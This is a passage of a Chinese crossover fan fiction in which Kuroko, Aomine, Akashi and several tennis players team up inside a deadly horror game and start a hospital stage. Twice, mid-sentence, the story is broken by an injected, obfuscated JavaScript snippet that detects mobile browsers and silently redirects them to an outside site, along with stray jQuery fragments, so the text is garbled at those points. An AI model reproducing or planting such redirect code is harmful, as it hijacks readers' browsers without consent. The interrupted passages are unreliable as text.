许是饭菜和姜茶唤醒了得知噩耗就罢工的大脑,坐在温暖的房间里,青峰后知后觉的想起来,他和哲应该算是……决裂了?或者说,他扔下自己的影,自顾自的走开了。
这种情况下,他也没脸说什么关心的话。而且本来,他和哲除了篮球,其他地方都不合拍。放弃在篮球上合作意味着放弃了唯一的共同话题。
少年缓慢的沉重的低下头颅,攥紧了手掌。
黑子安静的注视着他,脑海中再次浮现雨中河边时的场景。
当时青峰君说出那样的话,露出那样的表情,其实,其实是在……
“我在游戏里遇到一群很好的人,一起通关了。”
平静的,温和的,包容的。
像是得到救赎,青峰终于找回自己的声音,只是语气艰涩,“哦,那就好,那就好。”
又是一阵无言。
还是黑子提醒:“青峰君,雨停了。”
青峰觉得雨没停。
“一般休息时间和副本时间差不多,新手关的耗时不长……哲,你下次进入游戏的时间是?”
“明晚。”
那双不打篮球总是显得没精神的眼睛再次凶悍起来。
“你明天要去学校?”
“嗯。”
“我也去篮球部。”青峰立马说。
黑子眼前一亮,因为成为玩家变得沉重的心情轻盈起来。
“青峰君愿意训练……”
“不是这个意思,”青峰打断他,不敢直视那双明亮清澈的蓝眸,他扭开脸,“我是说,你部活结束后我送你回家。”
“……”
沉默让青峰不自在的抓了抓脖子,“这是两件事,总之,明天送你……”
“不用了,青峰君。”
“哈?哲,这个时候不要闹别扭了,我……”
“不是闹别扭了,”那双蓝眸变得黯淡,蓝眸的主人态度很认真,“我不觉得有谁会记恨我,特地用邀请函让我进入游戏。哪怕真相是这样,在我成为玩家后,对方达成目的,不会再在我身上花时间。我和青峰君的休息时间不一致吧?哪怕一致,同时申请进入游戏,也不一定进入同一个副本……所以,没必要特地送我回家。这不能改变什么。”
“谢谢你的好意,青峰君。”
青峰觉得雨没停。
“你明天好好休息,”黑皮少年起身,身影看上去竟有些落寞,“哪怕去学校,也别参加训练了。这个时候,就不要那么努力了。”
“嗯,我明天不参加训练。”
“……那就好。”
目光从放在房间角落里的篮球上掠过,在“努力”这个词的刺激下,黑子忽然有了倾诉的冲动。
“青峰君,其实……我最近一点都不想念篮球。”
才按住门把手的少年愣住,没反应过来。
“游戏里三天,休息了两天,一共是五天。我没有碰到过篮球,不仅不想念,反而有一种轻松的感觉。”
不碰篮球,就不会为自己的无能为力痛苦挣扎,不会在队伍获胜后心生迷茫。
以前,他想和队友们一起获得胜利,从未思考过为什么想要获得胜利。现在,他没有得出答案,就已经走到悬崖的边缘。
黑子有一种预感,只需要一个契机,一个推力,他会坠落。这份坠落预示着什么,他不敢细想。因为他始终对如今队伍的分裂无能为力。
他厌恶那个夺走人生命的游戏。又不可否认的是,游戏放大了他内心深处的逃避。
“哲,这……是什么意思?”
转回来的黑皮少年露出黑子熟悉的那日在河边的表情。
“你……讨厌篮球,要放弃篮球了?”
这句话仿佛一道响雷,同时在青峰和黑子耳边炸开。
仔细感受此时此刻自己的心情,黑子开口,语气带着几分迟疑,“应该没到讨厌的地步,只是,远离篮球后,好像呼吸变得更加顺畅了。”
黑子是这样认为的。他有点累,自责自己的无力,但还没想过讨厌篮球、不打篮球的未来。
不过如今的他再也不像曾经对桃井承诺时那样自信,自信大家会一直在一起,一直打篮球,自信自己可以阻止一切。所以,他也没有把话说满,告诉青峰大辉:不会的,不管发生什么,我都不会放弃篮球。
青峰只听到了这份迟疑。
他觉得能赢他的,只有他自己。
他的自信还表现在,他觉得,哲那么喜欢篮球,绝对绝对绝对不会放弃篮球。
此时此刻,他窥见到曾经的影放弃篮球的可能,然后……惶恐无助。
但他有几分自知之明,知道放弃合作的自己没有资格要求对方“无论发生什么都不要讨厌篮球放弃篮球”。
青峰大辉不知道是如何回到家的,第二天不知道是如何到学校的。直到中午吃饭,桃井提及要把“哲君可能被人欺负”这件事告诉赤司时,他反应过来。
“赤司现在在哪里?”
“今天的话,应该在生徒会办公室吧。这个月有全校家庭访问,下个月有身体检查,生徒会那边要帮忙,都有些顾不过来。本来昨天他也要去看望……阿大,你去哪?阿大!”
“赤司!”
生徒会办公室的门被猛的推开,将里边的学生吓了一跳。
有着蔷薇色头发的男孩看了眼黑皮少年,对其他学生点头,“辛苦了,会议到这里结束。”
“嗨!”
“会长也辛苦了。”
“赤司会长再见。”
很快,办公室里只剩下两个人。
双手交叉搁在桌子上,赤司那双异瞳犀利的注视着青峰。
“大辉,发生什么了,能让你做出这么失礼的举动。”
“哲!”
青峰冲过来,大手按住桌子,“哲也进入游戏了!”
“什么?”
交叉的双手被收回到桌下,紧紧合在一起。
赤司语气依旧沉着,眸中情绪沉沉浮浮。
“怎么会,他被选中了?”
“不太可能,他平时手气那么好,吃雪糕经常中奖。”
只有有资质的人才能进入游戏,不通过邀请函直接被选中的人不是更有天赋,而是更倒霉。但平时运气好的人哪怕没被直接选中,也会因为人心,因为有些玩家想要邀请成功的奖励,而被算计。
青峰这么笃定的原因是,他是和赤司同一日进入同一个副本。通关后,赤司说他试探过队里的人,没有玩家。
那一天,巨蟹座的运势最佳,水瓶座的运势第二,五月、紫原、黄濑的运气也不差。
现在想想,只在新手关通关后试探一次根本不够。
“邀请成功有奖励是不定时炸弹,这是没办法的事,我们不是制定规则的人。”
嘴上这么说,赤司心里也有些懊恼。
他想兼顾到每个人,但时间精力不够。家里的精英教育、学习、篮球部、生徒会,在多了一个恐怖游戏玩家身份后,更是时常感到疲惫。
学习社团生徒会必须做到最佳,恐怖游戏虽不像家族那样对他要求严格,但攒够十万积分是硬性条件。更完美才更可能触发隐藏剧情拿到更多积分。
“赤司,你的反应未免太平淡了。”
“通过你的反应就能判断哲也的状态,”赤司握紧双手,语气平静,“他有没有技能?”
青峰面露尴尬,“没问。”
“应该有,哲也是有才能,才能还很特殊的人。”
心中的懊恼逐渐加深。
早知道哲也会被人算计,还不如他亲自带进游戏里,至少他第一人格的技能能帮忙。
“我会去问……你记得问他,”青峰及时改口,“还有,他今晚就要进入副本。”
这对昔日的光与影似乎发生了一些他不知道的事。
很在意这一点,但此刻赤司有更重要的事情做。
“大辉,也许你该将篮球上的头脑分一些给游戏,”赤司拿出手机,“组队卡不是那么好收购的,你给我留的时间太短。”
游戏里,升级卡、突破卡和组队卡都无法在系统商城购买。
“篮球上的头脑?”青峰有点不爽,“你不知道我是凭直觉打球?”
赤司:“……”
他果然和这家伙合不来。
下午放学,黑子先看了眼手机界面。
那是一个有许多东京学生聚集的论坛,有个帖子提到青春学园初中部的放学时间。他打算去篮球部见过大家后,就前往青春学园寻找越前君。
只通过穿着很难得到更多和田中先生、高桥女士有关的情报。越前君则不同,是一年级新生。此外,根据当时越前君激发的天赋技能和发球时的熟练姿态,应该是网球部的社员。
同一时间离开同副本的他们会在同一时间进入游戏,不管是否进入同一个副本,他都想在现实里和对方见一面。
“哲也。”
黑子望向后门,有着蔷薇色头发的异瞳少年站在那,以不用拒绝的语气说,“过来。”
收起手机,黑子提起书包走过去,出了教室才发现青峰大辉也在,正低头玩手机,似乎很忙碌,顾不上打招呼。
“赤司君,青峰君。”
“哲。”青峰大辉好像还是很忙,抬头打了声招呼,又继续低头玩游戏。
这让赤司更加笃定两人之间又发生过什么。指望青峰大辉说出来是不可能的。
“今天晚上,”赤司开门见山,“我们用组队卡一起进入游戏。”
“!”
其实见到两人一起出现,黑子心里就有所猜测。
猜测成真,他心情更加沉重。
“原来赤司君也是玩家。”
“和大辉一起被选中,看来他没说。”
“当时哪里顾得了那么多,”青峰嘀咕,“快点说正事。”
“我已经说完了,”赤司抢在黑子拒绝前说,“我的游戏冷却时间到明日中午结束,他是后天。对我来说,提前半天没有区别。”
黑子张嘴,还未发声。
“这张组队卡是和人交易后得到的。他出卡,相应的,他想让朋友和我进入同一个副本。他的朋友最近被人盯上,几次差点碰到邀请函。”
如赤司所料,黑子的重点果然跳到后一件事上。
“赤司君有技能,技能能帮助新人?”
“不愧是哲也,具体的我之后和你细说。”
“这个倒不用,”黑子觉得这种保命技能还是自己清楚比较好,“赤司君,组队卡有人数限制吗?有一个人,如果你同意,他也愿意,我想邀请他组队。”
“最多八人,”赤司挑眉,“想和新手关认识的人组队?会不会太草率了。”
“是非常可靠值得信任的后辈,”黑子认真道,“我们相处时间不长,他平时话也不多,但能看出来,他是很温柔善良强大的人。”
这可是相当高的评价了。
哲也/哲怎么会对才认识的人有这么高的评价?赤司和青峰眼神逐渐犀利。
赤司本就没打算拒绝,听了这话,更想见对方了。
“可以,我先去体育馆,之后在校门口汇合,一起去接那个人。”
说到这,他似随意问,“你们在副本结束时交换了联系方式?”
“没来得及,当时发生了一些意外。我通过他的校服推断出他的学校。”
“意外?”青峰好像不忙了,抬头看过来,“什么意外?”
黑子眨眨眼,一时之间不知道如何解释。要完整的有逻辑的说出来需要时间。
“已经解决的意外,”他选择偷懒,“多亏了越前君,我们才能解决这个意外,他真的非常厉害。”
黑子不吝啬自己的夸奖。
看出这份评价发自内心,赤司和青峰陷入沉默。
黑子看不出两人在想什么,“所以,我想先去找他,找到后再联系赤司君,可以吗?”
“可以。”
有些别扭,且对昨晚的对话心有余悸,不敢真的问出口,害怕得到让他恐惧的答案,青峰本打算减少和黑子的交流。只是听到这话,打篮球的野性发挥作用。
“也可以联系我。”
赤司唇角小幅度的勾起。很快,他听到他已经猜测到的话语。
“青峰君真的要今晚进入游戏吗?太早进入有些可惜。”
青峰有些烦躁的抓头发。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332780|199184||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>对上昔日影那张白净乖巧的脸,又说不出重话。
就像一年级,他在体育馆被吓到,后来发现制造出灵异传说的是同年级比自己矮小的学生时,对上那张纯良无辜的脸,他说不出重话一样。而明明,哪怕是二三年级的前辈,做出让他不爽的事情,他一样会怼回去,并不顾忌约定俗成的前后辈文化。
说不出重话,但也说不出真心话。
“有更多的休息时间是不错,”青峰随便扯了个理由,“但队友更重要,我不想进入陌生的队伍,遇到一群拖后腿还别有用心的人。”
话说出口时,他不由自主想到了篮球部。
比赛的时候他不会传球,不会依靠队友,但在生死一线的恐怖游戏里,他理所当然的信任着哲,信任合不来的队长赤司,也理所当然的希望哲能够信任自己,依靠自己。
有点奇怪。
有点别扭。
并没能看穿这份别扭代表了什么,青峰更怕素来直率的黑子说出让他无法招架的话。
“原来是这样啊。”
哎?接受了?
青峰愣住。
赤司第一时间意识到,奇迹的世代的影子在新手关遇到不合拍的队友了。如果只是没能力还好,如果是那种有恶意的人……
【俺赤:现在不是问话的时机。】
【仆赤:不用你提醒,胆小鬼。】
青春学园网球部。
“大石大石,你觉不觉得小不点有点不对劲?”
三年级正选菊丸英二揽住自己的双选搭档,同时也是网球部副部长的大石秀一郎的肩头。
“哪里不对?”大石秀一郎望向后辈。
平时场上很有活力,场下比较懒散的后辈这会弯腰坐在长椅上,低着头。
“怎么说呢,像是吃坏肚子的小猫,没有精神。”
“噗。”
“不二别笑啊,你不这么觉得吗?”
“我觉得很形象。”同样是三年级正选,有着栗色头发,总是弯着眼的不二周助说。
注视着队里的后辈,他却想到今日没来学校的部长手冢国光。
这段时间里,对方偶尔也没精神,这对向来自律的手冢国光来说是非常难得的事情。总感觉发生了他不知道的事。
“你们好。”
不二周助露出冰蓝色的眼睛,有些惊讶的看着出现在铁丝网外的蓝发少年。
这个人是什么时候出现在那的?
“呜啊啊啊!”
菊丸英二吓到跳到搭档的背上。
“妖怪啊!”
“我不是妖怪,”黑子认真解释,望向因为这边动静,抬起帽子看过来的少年,“越前君,好久不见。”
青春学园一年级新秀越前龙马慢吞吞的走过来。
“黑子前辈看上去没休息好。”
“越前君也一样。”
“mada mada dane。”
黑子疑惑,但还是顺着对方的话说,“嗯,我还mada mada dane。”
越前:“……”
“噗,”不二周助笑出声,“被克制了呢,越前。”
“什么克制?我怎么听不懂?”
看到黑子脚下有影子的菊丸英二又活了,窜来窜去,“啊咧,小不点的头发又竖起来了。”
“隔着帽子,英二怎么看出来的?”大石秀一郎疑惑。
“是一种感觉啦,感觉。”
黑子静静地看着网球部众人互动,眼底流露出一丝羡慕。
曾经帝光篮球部的氛围也是这么温馨融洽。
“我先出去一下,副部长。”
和副部长打了招呼,越前放下网球拍走出球场,找了个僻静的角落。
“黑子前辈是来商量晚上的事?要一起进去?”
“是这样的,我在篮球部的队友也是玩家,拿到了一张组队卡,可以保证我们进入同一个副本,我想问越前君愿不愿意组队?”
“可以,”越前直接应下。
“不需要再考虑一下吗?”
“黑子前辈值得信任,”有一点点不擅长应对这种直率的人,担心按往日说话风格,黑子会说出让他难以招架的话,比如那句“嗯我还mada mada dane”,越前难得直率了。
不习惯,他迅速转移话题,“原来前辈是篮球部的部员。”
“嗯,还没正式介绍,”黑子微微鞠躬,“我叫黑子哲也,帝光中学三年级,也是篮球部的部员,一军选手。”
越前摘下帽子,“越前龙马,青春学园一年级,网球部正选。篮球那边的地区预选赛也开始了,进入游戏会影响前辈的状态吧。”
黑子想到离校前,在篮球部看到的一幕幕。
黄濑君因为模特工作今日没来训练,紫原君也没来,绿间君雷打不动的练习,一军其他替补,还有二军三军的部员都很认真。桃井同学一如既往的记录每个人的数据。
游戏内外时间流速不同,只要安全归来,可以如期参加比赛。不过,他的状态肯定没赤司君、青峰君他们那样好。
想到两人提及游戏时比自己更加从容的态度,黑子为他们松了口气的同时,也觉得,自己落在了后方。就像比赛后,他走在队伍最后方一样。
“帝光……大家很厉害,我的状态不会影响他们。”
“诶……”
这是说队友们一定能拿下胜利的意思吗?
为什么心胸宽广的前辈说起这话,看上去不是那么高兴?
心思细腻的越前龙马敏锐的观察到这一点,开始好奇帝光篮球部的正选们。
“叮铃铃——”
“抱歉,我先接个电话。”
黑子拿出手机,认真听那头的人说话,“好,我明白了,赤司君。我和越前君准备好后,再联系你。”
挂断电话,黑子对越前解释,“我们篮球部部长,赤司君他建议我们换常服进入游戏,避免在游戏里被其他玩家记住一些特征。游戏内玩家不能互相伤害,游戏外却没这条限制。也许会有人在现实里做出一些过激的举动。”
“我明白了,我今天提前结束部活,前辈在这儿等我一会。”
这个建议让越前对赤司的第一印象是细心体贴,还有温柔。黑子前辈通话时没有刻意避着他,他隐约能听出对方的语气很温和。
“你好,我是赤司征十郎,帝光中学三年级。”
出乎越前的预料,赤司本人是一个模样俊美气质凌厉的前辈,特别是那双异瞳,隐晦打量他时,给人很大压力。
果然,隔着电话容易产生误会。又或者,那种态度分人。
他不自觉的望向自己比较熟悉的前辈。
黑子正在和两个来自冰帝学园的学生打招呼。
“迹部景吾,冰帝学园中等部三年级,网球部部长。”
右眼下有颗泪痣的紫灰发少年注视着黑子,若有所思,“原来‘特别’是指这个,这么薄弱的存在感,本大爷还是第一次见。”
本、本大爷?
黑子不理解这种自称,但尊重。
他也自我介绍,微微鞠躬后补充了一句,“请多指教,迹部君。”
“我也是三年级,网球部部员,忍足侑士,”有着深蓝色中长发的少年笑道,“一群中学生聚在一起,迹部,你要把我带到哪里去?”
“哼,真是不华丽的反应,”看穿笑容背后的情绪,迹部景吾打了个响指,“本大爷保证你能毫无损伤的回来。”
“嗨嗨,部长。”
黑子眨眼,不太明白说这话与打响指之间的具体联系,但直接问出口就有些失礼了。他也通过这话判断出,忍足侑士是那个数次差点被人用邀请函送进游戏里的人。在不知道恐怖游戏的存在,也不知道游戏风格的情况下,就这么信任的跟着迹部君过来,这份信任十分深厚。
注意到越前的目光,黑子很有前辈风范的为他介绍,“这是青春学园一年级的越前龙马君,也是网球部成员。”
“青春学园的越前?”迹部景吾“啊嗯”了声,“手冢提到的那个新人啊。能被手冢称赞,让本大爷看看你的水平。”
华丽的做派,华丽的口头禅,越前看向黑子,“前辈去过动物园么?”
“去过,”黑子疑惑,“怎么这样问?”
“如果前辈没看到孔雀开屏,这会可以免费观赏了。”
黑子:“……”
学弟还有这么一面呢。
过来后一直很忙碌玩手机的青峰抬头,语气懒散,“真难得,哲你看走眼了。这家伙哪里温柔了?明明是个容易被挑衅的嚣张小鬼。”
“大辉,”赤司及时阻止自己的队员参与这场乱战,“你没有资格说别人。”
“嘁。”
“噗,迹部,我终于听到有人这样吐槽你了。”忍足笑。
被吐槽是孔雀的迹部并没有生气。
不如说,如果越前龙马是那种乖巧听话的后辈,他反而会觉得手冢看走眼了。
“你这个反应太不华丽了。”
迹部景吾回应忍足,又望向越前,似随意道,“看样子你还不知道,手冢也是……”
后边的话语因为忍足这个非玩家在场,没能说出口。
戴着帽子的少年微微瞪大猫眼,部长也是?
看到自己想要的反应,迹部景吾满意了,打了个响指,“不要耽误时间了,准备出发。”
赤司看着这位旧交,无奈,“这里有些显眼,换一处。”
他主动带路,走出一段距离后,忽的扭头,“哲也,你有话说?”
“没有。”
黑子摇头,心想,大概是错觉吧。
之前接电话的时候,他恍惚间以为是另一个赤司。再见面时,对方给人的感觉又并非如此。
【确定是否提前进入游戏?】
【是】
点击确定后,黑子脑海里传来系统的声音。
【检测到玩家已组队,玩家将与队友传送至同一个副本。】
熟悉的失重感传来。
与此同时,青峰和赤司同时伸出手。一个抓住他的左上臂,往自己所在的方向带,一个抓住他的右手手腕,微微用力。
哎?
黑子有些懵。
看到这一幕的帽子少年满头问号。他很确定这不是组队必须的动作,否则其他人早来拽他了。这两个家伙要对黑子前辈做什么?
7. 恐山医院1
五层高的建筑物如同巨大的怪物,沉默的拦在众人跟前。
天际边泛起鱼肚白,不算明亮的光线落在建筑物的招牌上,四个鲜艳红色字体映入眼帘——恐山医院。
医院一楼大门紧闭,透过玻璃门,竟隐约看到一些黑色的影子在走动。附近是树林,清晨的风刮来,发出细小的呜咽声。
这比新手关的氛围还要阴森,黑子却无暇顾及。
他看看左手,又看看右手,再去看显然是分开站的越前三人。
结论:使用组队卡不需要肢体接触。
“赤司君,青峰君,”想了想,黑子认真道,“我还没到被系统忽视的地步。”
【幻影】并非他天生的技能,是只能在游戏里使用的能力。黑子丝毫没有因此膨胀,说到底,【幻影】也算是游戏的力量。对方不过是认可了他的薄弱存在感。
这也恰恰说明,游戏不会因他存在感薄弱就忽略他,反而颇有些鼓励他使用能力的意思。
青峰讪讪的松开手,眼珠子乱转,并不与黑子对视,甚至一度头脑发热,说了句和当下氛围无关的话,“哲你胳膊太细了,最近有好好吃饭?”
黑子:“……有很认真的吃饭。”
赤司淡定的收回手,观察周围的环境,发现陆续有陌生的玩家靠近医院,压低了嗓音,“想起来是如何接触到邀请函?”
黑子目光落在不知为何在推眼镜镜片还在反光的忍足侑士身上。
他们使用组队卡的同时,迹部君拿出一张传单递给忍足君。
他匆匆扫了眼,是一张色彩搭配非常显眼的传单,字迹却模糊不清,看不清具体内容。内容并不重要,光是那大胆的色彩搭配,如果出现在街边,他极可能会因为好奇看一眼。
如果这样都想不起是什么时候碰到的,那只剩下一种可能。
“应该是不小心踩到的。”
“应该?”
赤司并不满意这个回答。他不像队伍里其他人那样,和黑子的身高差距大,因此黑子垂下头时,也能看清楚对方的表情,是相较以前很少见,最近偶尔在篮球部里能看到的表情。
赤司形容不出来,他总结为黑子没死心,想让青峰回来训练。
“你的观察力已经退步到‘不小心’的水平?”
黑子回忆起那天晚上精神恍惚的状态,是容易踩到东西或撞到东西的状态。
因为有熟悉的人,有队友一起进入游戏产生的安心感逐渐褪去。冰冷无情的现实又摆在眼前。
这种心态不利于通关,他还想和大家一起安全离开。
在心里深呼吸,黑子抬起头,情绪稳定,“是一个意外,下次我会小心的。”
眼前的蓝发少年面无表情,情绪波动几乎为零,是发挥幻之第六人传球技能的最佳状态,也是赤司以前最想看到的状态。
这种状态延续到场下,偶尔也会出现现在这种棘手的情况。
看不透黑子在想什么,又会做出哪种决定。
烦躁,细小的烦躁在滋生。
“迹部,”注意到两人的互动,又注意到青峰大辉一会懒洋洋打量陆续靠近的玩家,一会偷看黑子,忍足侑士再次推眼镜,“这三人,只是队友关系?”
他的纯爱雷达都要响了。
“啊嗯?”迹部轻哼,“你的重点错了。”
“有这么多前辈指导,我若失态未免太逊了。”
忍足侑士已经听到游戏系统的提醒,也终于明白最近迹部景吾的异常,还明白了那藏于一张张简单传单背后的阴谋。
他出生于医学世家,忍足家还经营着一家医院,若没有一些对忍足家有敌意的人是不可能的。而在竞争力很强的冰帝学园,吹捧的背后是嫉妒也不足为奇。
对方失算之处便是没料到迹部已经是玩家了。
“接触了传单,也不一定会进来。”迹部解释了句。
忍足颔首,“我明白,不愧是你,迹部。”
被邀请也未必进入游戏,但他们的部长他的朋友并不会赌,做好了万全的准备。仅仅如此,没必要邀请这么多人,因此,最开始邀请的赤司,技能一定很特别,对他有帮助。
迹部景吾听了心情愉悦,“那些人不准备和我们接触。”
他们说话间,已经没有陌生玩家出现了,迹部提醒似乎还要‘说教’的赤司,“可以进去了。”
游戏系统的声音适时的响起来。
【新的一天来临,恐山医院又迎来一批研修医和病人。医院八点开始营业,请在这之前完成登记。】
【主线任务:存活五日】
黑子放缓脚步,等越前与他并肩,一起朝医院走去。他不动声色的观察其他玩家。包括他们这支队伍在内,一共有二十名玩家。根据临场反应来看,至少有两名新玩家,这两人迅速被其他人安抚。
不少老玩家看他们一行六人的神色带着一丝戒备。
“我们组队了,各种意义上。”双手插兜,越前淡淡的说。
“可以理解。”
他们六人出现后没有掩饰熟稔的关系,落在其他玩家眼里,和抱团了没区别。
黑子本人倾向于团结合作,他觉得系统也有这个意思。上个副本中,部分规则就需要他们团结,才能完善整条主线。
不过,哪怕只通关一次副本,他也知道有些玩家不愿意合作,想要情报又不肯付出。
走近医院大门,透过玻璃可以清楚的看到里边光洁的地面和冷清的环境,之前隐约看到的黑影仿佛是错觉。
大门自动打开,一群人进入,门自动关上。
黑子眼前弹出半透明的面板。
前边几行照旧是他的基础信息,随后是副本背景。
【副本背景:你是一名研修医,经人推荐来到恐山医院。尽管曾听前辈提及恐山医院医生和病人神秘失踪事件,以及这所医院严苛的制度,你还是被这儿的丰厚待遇和各种福利吸引。】
【主线任务:存活五日】
【注:若在该副本获得三名医师的优秀认可,将获得额外奖励】
【倒计时:119:59:09】
之后是技能面板,多了一行字。
【检测到玩家有未使用的突破卡,是否使用?】
【是】
面板缓慢出现几行字。
【衍生技能·潜行:可辅助指定目标隐形】
【Lv1:辅助单个目标隐形5分钟,冷却时间8小时,中止即终止】
黑子恍然大悟。所谓突破是指在主技能上进行突破。他的主技能【幻影】分为被动和主动,都只能对自己生效。突破后的衍生技能【潜行】则可以对队友使用。
对这方面比较陌生,黑子不清楚是否可以继续突破,出现更多衍生技能。
如果突破卡是这样用,那想要升级应该需要升级卡。
他看了系统商城,说是商城,其实只售卖物资卡和道具卡。这两类卡分一星到五星,用途不同,星级越高价格越贵,都限购。这代表组队卡、突破卡还有他没见过的升级卡都只能随机掉落。
想要彻底脱离游戏需要十万积分,想要购买道具保命又必须消耗积分,如何权衡是门学问。他现在的积分余额是1500。
准备关闭面板时,黑子注意到技能栏最下方多了一个灰色栏:组合技。
没说如何解锁,也没说解锁后有什么效果。
黑子疑惑的关上面板。
他们六人站在距离前台不远的地方,其他人也是,但都在观望,没人去前台登记,前台也没工作人员。
大厅的电子屏幕显示着时间:06:13:55。
“我们去那边。”
有着蔷薇色头发的少年指了指角落里的一盆绿植。
几人站定后,赤司开门见山,“我是研修医,没说会被分配到哪个科室。之前系统提到医院八点营业,但八点未必是登记的截止时间。”
“我也是研修医,”黑子说,“医院开始营业时,医生护士应该都到岗了。也许八点之前,我们要完成登记、找到所属的科室且到达岗位。”
“我也是研修医,黑子前辈,我们可以一起去找医院的规章制度。”越前说。
“好。”黑子毫不犹豫答应了。
打量两人,赤司那双异瞳泛起不知名的情绪。
“大辉,你扮演什么?”
“病人,”青峰“啧”了声,“没说是什么病人。话说,如果医院不营业,病人也没法登记吧?难道要病人一直干等到八点?”
“我不觉得游戏会对‘病人’有优待,”第一次进游戏,忍足迅速跟上节奏,“我也是病人,也许,我们需要先找找自己哪儿生病了。”
“我是‘病人’,”迹部景吾更关心别的,他望向蔷薇色少年,“赤司,麻烦了。”
“明白。”
黑子望过去,惊讶的发现赤司的双瞳变成了同色,他虚空点了几下,说了声“好了”后,转向黑子,语气温和,“黑子,好久不见。”
“好、好久不见。”
黑子快速眨眼,明白这意味着什么后,他有些开心,只是不等他再说些什么,赤司的眼睛再次变成了异瞳,且犀利的注视着他。
“哲也,你很高兴见到他?”
“???”
黑子疑惑,“赤司君,你们是同一个人。”
第一次见到赤司君的第二人格时,他因为震惊说出“你是谁”这种有些失礼的话。在了解双重人格之后,他很确定,第一人格第二人格都同一个人,都是他认识的赤司君。
“真当同一个人可不会说‘好久不见’。”
“是你先说的,赤司君。”黑子不背锅。
“是他说的,不是我。”仆赤强调。
黑子:“……”
感觉赤司君变得有些奇怪,因为成为玩家压力大吗?
他私下和赤司君相处的时间不算很长,不算了解对方日常中的模样,更不知道对方成为玩家后的风格。
“A面和B面。”
迎上那双一红一橙的眼睛,黑子认真说,“这是我的理解。赤司君的A面和B面可能有些不同,但都是我认识的赤司君。”
如果不是考虑有其他玩家盯着他们这边,黑子还能补上“是我们帝光中学篮球部部长,生徒会会长……”一大连串的头衔。
赤司没再说什么。
黑子理解为对方接受了他的解释。
忍足快速托眼镜,镜片一阵阵反光,引起迹部的注意。
留着深蓝色中长发的少年眨眼:他们真的只是队友和同学?
迹部看不懂,“真是不华丽的反应。”
忍足有点寂寞,他怀念堂弟了,这个时候,只有谦也会和他一起吐槽。余光瞥见越前似有些无语,他眼前一亮,觉得自己不该这么早放弃希望。
忽然感受到寒意的越前压低帽子。
“忍足……”迹部提醒,“华丽的反应。”
听明白的忍足摊手,“只说激发天赋技能的概率提高了,技能还没来。”
“只要是新手关,都有机会,不急。”
“我也没急。”忍足推眼镜,看了黑子一眼。
莫名感受到寒意的黑子:“……”
他望向赤司,“我们开始调查,研修医一组,病人一组?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332781|199184||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“没问题。”
青峰‘啧’了声。
他提醒,“系统给的病人提示里,提到‘收费低’‘评价高’‘如果死亡赔偿丰厚’三点。”
“研修医这边也有提示。”黑子赶紧说出属于研修医的情报。
六人核对了一遍,确定病人的提示一致,研修医的提示一致后,分成两组行动。
目送有着水蓝色头发的少年离开,青峰双手插在外套里,脸色臭臭的。
“抱歉啊,青峰君,麻烦你和我们一组。”
青峰瞅了眼镜片反光的忍足,野兽般的直觉告诉他这个人不好惹。
“游戏安排的身份,你有什么好抱歉的。”
“这个嘛,”忍足竖起一根手指,“我们快些去找情报,早点登记完,说不定还能帮赤司君他们那一组。”
“哼,哲很强的。”
这么说着,青峰抬脚朝某个方向走去,背影看上去迫不及待。
忍足挑眉,他说的明明是“赤司君”,到青峰这儿,只有一个“哲”了。
“很有意思,你说对吧,迹部?”
迹部嫌弃,“别说本大爷的台词。”
“wushi。”
一楼大厅只有门诊部楼层索引和一些引导病人的标识。
黑子三人去看楼层索引时,那儿已经围着几个人,大家看得很快,没有打招呼的意思,很快纷纷离开。
楼层索引明确显示了五层楼的科室,和一楼的具体布局。
“急诊科、肾内科、放射科、医学检验科在一楼,”黑子浏览一遍,最后定格在五楼,“行政办公区在五楼。不清楚如何算登记成功,我们分开,一人负责一层楼如何?”
“这个副本难度很高,”赤司突然说,“没掌握一定情报前最好不分开,我们行动迅速一些,来不及去的楼层我可以用能力,具体能力……”
扫视一圈,他简洁道,“稍后再说。”
其实从人数就有这个怀疑的黑子点头,“同一个楼层分开行动不碍事,还没开始营业,大声些说话应该没事。”
“你会大声说话?”
黑子哑然。
赤司挑眉。
越前:“……”
好奇怪啊。
“我去肾内科。”
越前虚空点点,“我看到其他前辈去了急诊科,两个科室离得近,黑子前辈和赤司前辈去彼此离得近的放射科和检验科如何?”
“好。”黑子点头。
赤司也朝越前点头,跟着黑子离开。
走远了些后,他问,“这叫后辈话不多?”
黑子:“平时话不多,关键时总能果断,越前君很优秀呢。”
赤司:“……”
黑子主动进了放射科,发现里边只有一位医生。
“你好,我是黑子,今天来报道的研修医……”
“研修医?”那位脸色有些苍白的医生抬头,摆手,“研修医来我们这里做什么?一点规矩都不懂。”
黑子做好吃闭门羹的准备,他记住了这位医生胸前的铭牌,又飞快打量放射科内部布局,和贴在墙上的一些规章。
在医生发火前,他退出去,发现赤司已经站在检验科外。
“检验科不收研修医,”赤司主动说,“去急诊科看看。”
“好。”
两人走近时,发现越前退出了肾内科,看到两人,摇头。
“对了,”忍足侑士突然从急诊科里走出来,“刚刚才想到,我有听家里人说过,一般研修医到医院,需要必修急诊科和内科,之后在外科、儿科、妇产科、精神科、麻醉科中选择两个科目进行轮转。所以我想,也许你们可以先去这几个地方试试。?”
他指了指身后的急诊科,“先进来?”
